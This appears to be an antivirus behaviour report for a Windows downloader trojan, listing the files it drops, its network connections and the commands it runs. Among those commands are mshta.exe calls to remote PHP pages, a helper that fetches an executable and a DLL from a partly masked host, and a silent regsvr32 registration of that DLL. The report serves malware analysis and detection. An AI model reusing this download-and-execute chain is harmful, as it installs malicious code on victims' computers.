Technical Information
Malicious functions:
Creates and executes the following:
- '%TEMP%\sis.exe' -install adver349
- '%TEMP%\tim.exe' http://ve#####hogdmlytslhtu.cn/u5.exe %TEMP%\sis.exe
- '%TEMP%\tim.exe' http://ve#####hogdmlytslhtu.cn/1.dll %TEMP%\a.dll
- '%TEMP%\sis.exe' (downloaded from the Internet)
Executes the following:
- '<SYSTEM32>\mshta.exe' http://ur###nam.net/8732489273.php
- '<SYSTEM32>\regsvr32.exe' /s %TEMP%\a.dll
- '<SYSTEM32>\cmd.exe' /c %TEMP%\tump.bat
- '<SYSTEM32>\mshta.exe' http://95.##1.27.154/install.php?id#########
Modifies file system :
Creates the following files:
- %TEMP%\a.dll
- %TEMP%\sis.exe
- %TEMP%\tim.exe
- %TEMP%\tump.bat
Network activity:
Connects to:
- 'localhost':1042
- 'ur###nam.net':80
- '95.##1.27.154':80
- 've#####hogdmlytslhtu.cn':80
- 'localhost':1040
TCP:
HTTP GET requests:
- http://ur###nam.net/8732489273.php
- http://ve#####hogdmlytslhtu.cn/u5.exe
- http://ve#####hogdmlytslhtu.cn/1.dll
- http://95.##1.27.154/install.php?id#########
UDP:
- DNS ASK ur###nam.net
- DNS ASK ve#####hogdmlytslhtu.cn
Miscellaneous:
Searches for the following windows:
- ClassName: 'TForm1' WindowName: 'Safety Center'
- ClassName: 'Shell_TrayWnd' WindowName: ''
